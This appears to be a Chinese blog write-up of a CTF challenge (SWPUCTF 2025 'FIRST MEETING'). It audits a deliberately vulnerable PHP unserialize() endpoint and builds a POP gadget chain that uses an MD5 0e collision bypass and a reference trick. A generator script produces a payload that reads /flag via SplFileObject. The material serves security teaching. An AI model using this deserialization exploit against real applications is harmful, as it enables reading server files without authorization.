视频加载失败

[SWPUCTF 2025 秋季新生赛]FIRST MEETING PHP 反序列化 POP 链

1062 字
5 分钟
[SWPUCTF 2025 秋季新生赛]FIRST MEETING PHP 反序列化 POP 链

本题在线靶场#

https://www.nssctf.cn/problem/7284

1.分析#

1.1代码审计#

分析这段完整源码,需要构造一条非常经典的 POP 链(属性导向编程利用链)。

<?php
highlight_file(__FILE__);
class WEB {
private $sauy;
public $creambread;
public function __construct($sauy) {
$this->sauy = $sauy;
echo "I know you are good at this!";
}
public function __destruct() {
echo $this -> sauy;
}
}
class REVERSE {
protected $re1sen;
public $harukaze;
public $ysyy;
public $acc;
public function __call($a, $b){
if (!is_string($this -> harukaze) ||!is_string($this -> ysyy)||($this -> harukaze === $this -> ysyy)) {
die("你输的什么东西?");
}
if (md5($this -> harukaze) == md5($this -> ysyy)) {
($this->acc)();
} else {
die("?");
}
}
}
class PWN {
public $wings;
public $c0trick;
public function __toString() {
if($this->wings === 'SHENG-YI'){
$this -> c0trick -> MinatoNamikaze();
return "NSS WELCOME YOU!!!";
}
else {
die("No wings,no fly!");
}
}
}
class MISC {
public $cr4p;
public function __invoke(){
$this -> cr4p -> png = '010';
}
}
class CRYPTO {
public $kyarihoshi;
public $rocage;
public $last;
public $dance;
public $kiss;
public function __construct(){
$kyarihoshi = $this -> kyarihoshi;
$rocage = $this -> rocage;
$kiss = $this -> kiss;
}
public function __set($a, $b){
$this -> dance = md5(rand(1, 10000));
if ($this->last === $this -> dance){
$kiss = new $this -> kyarihoshi($this -> rocage);
echo "$kiss<br>";
echo "恭喜!<br>";
}
else{
die("LAST DANCE!May be you can find the trick!");
}
}
}
$NSS = $_POST["NSS"];
unserialize($NSS);
?>

这道题本身没有直接调用 system、exec 等命令执行函数,所以需要通过反序列化原生类(如 SplFileObject)来读取 /flag 文件。

  • 有可控的 unserialize() 入口
$NSS = $_POST["NSS"];
unserialize($NSS);
  • 类里有各种 PHP 魔术方法:

__construct() :构造函数来赋值 private 属性

__destruct():对象被销毁时触发。

__wakeup():反序列化时触发(常用于反序列化后的初始化或绕过)。

__toString():对象被当成字符串使用时触发(比如被 echo、被 include 或者字符串拼接时)。

__invoke():PHP 中把对象当函数调用 $obj() 时,会自动执行该对象的 __invoke()。

__call():调用对象没有的方法触发。

__set():给不存在的属性赋值时触发。

1.2POP 链完整调用流程#

  1. 触发起点:WEB::__destruct 反序列化后脚本结束,WEB 对象被销毁,执行 echo this−>sauy;。如果this -> sauy;。如果 sauy 是一个 PWN 对象(本题有__toString,下面同理),就会触发 PWN::__toString()。

  2. 进入 PWN::__toString 需要满足 this−>wings===′SHENG−YI′。然后执行this->wings === 'SHENG-YI'。 然后执行 this -> c0trick -> MinatoNamikaze();。由于 c0trick 是 REVERSE 对象且没有 MinatoNamikaze 方法,触发 REVERSE::__call(‘MinatoNamikaze’, [])。

  3. 进入 REVERSE::__call 需要绕过 MD5 弱类型比较:

    • harukaze 和 ysyy 必须是字符串且不相等,但 md5() 值相等。

    • 使用经典 0e 碰撞:harukaze = ‘QNKCDZO’,ysyy = ‘240610708’。 条件满足后执行 ($this->acc)();。令 acc = new MISC(),触发 MISC::__invoke()。

  4. 进入 MISC::__invoke 执行 $this -> cr4p -> png = ‘010’;。令 cr4p = new CRYPTO()。由于 CRYPTO 没有 png 属性,触发 CRYPTO::__set(‘png’, ‘010’)。

  5. 进入 CRYPTO::__set(关键点) 代码中有一句:

$this -> dance = md5(rand(1, 10000));
if ($this->last === $this -> dance){

由于 dance 是随机数,我们无法预测。解决办法:利用 PHP 反序列化的引用特性(R:),让 this−>last和this->last 和 this->dance 指向同一个内存变量。 当 this−>dance被赋值时,this->dance 被赋值时,this->last 也会同步变成同样的值,从而满足 === 条件。 然后执行:

$kiss = new $this -> kyarihoshi($this -> rocage);
echo "$kiss<br>";

令 kyarihoshi = ‘SplFileObject’,rocage = ‘/flag’。这样会实例化 SplFileObject(‘/flag’)。echo 该对象时,会触发其 __toString() 方法,直接输出 /flag 文件的内容。

构造payload#

由于涉及到 R: 引用,手动拼写序列化字符串非常容易出错,建议用本地 PHP 脚本生成。

第一步:编写生成脚本(gen.php)#

// 复制题目中的所有类定义
<?php
class WEB {
private $sauy;
public $creambread;
public function __construct($sauy) {
$this->sauy = $sauy;
}
public function __destruct() {
echo $this->sauy;
}
}
class REVERSE {
protected $re1sen;
public $harukaze;
public $ysyy;
public $acc;
public function __call($a, $b){ }
}
class PWN {
public $wings;
public $c0trick;
public function __toString() { }
}
class MISC {
public $cr4p;
public function __invoke(){ }
}
class CRYPTO {
public $kyarihoshi;
public $rocage;
public $last;
public $dance;
public $kiss;
// 补全方法,虽然生成阶段不会执行它
public function __construct() { }
public function __set($a, $b) { }
}
// 构造链:注意这里使用了构造函数来赋值 private 属性(WEB的`$sauy`)
$pwn = new PWN();
$pwn->wings = 'SHENG-YI';
$pwn->c0trick = new REVERSE();
$pwn->c0trick->harukaze = 'QNKCDZO';
$pwn->c0trick->ysyy = '240610708';
$pwn->c0trick->acc = new MISC();
$pwn->c0trick->acc->cr4p = new CRYPTO();
$pwn->c0trick->acc->cr4p->kyarihoshi = 'SplFileObject';
$pwn->c0trick->acc->cr4p->rocage = '/flag';
// 关键:构造引用,让 last 和 dance 指向同一个内存地址
$pwn->c0trick->acc->cr4p->last = &$pwn->c0trick->acc->cr4p->dance;
// 把 PWN 对象通过构造函数塞进 WEB 的 private $sauy 里
$web = new WEB($pwn);
// 输出 URL 编码后的 payload
echo urlencode(serialize($web));
?>

第二步:运行脚本#

2026-09-20 103907.png
2026-09-20 103907.png
这个报错是本地的,完全不影响远程利用
2026-09-20_10-53-18.png
2026-09-20_10-53-18.png

文章分享

如果这篇文章对你有帮助,欢迎分享给更多人!

[SWPUCTF 2025 秋季新生赛]FIRST MEETING PHP 反序列化 POP 链
https://tuulei.cn/posts/swpuctf-2025-qiu-ji-xin-sheng-sai-first-meeting/
作者
tuulei
发布于
2026-09-20
许可协议
CC BY-NC-SA 4.0
Profile Image of the Author
tuulei
请你再闪亮一点点,尽管我太平凡。
公告
分类
标签
最新动态
站点统计
文章
13
分类
4
标签
16
总字数
17,835
运行时长
0 天
最后活动
0 天前
总访问量
--
文章目录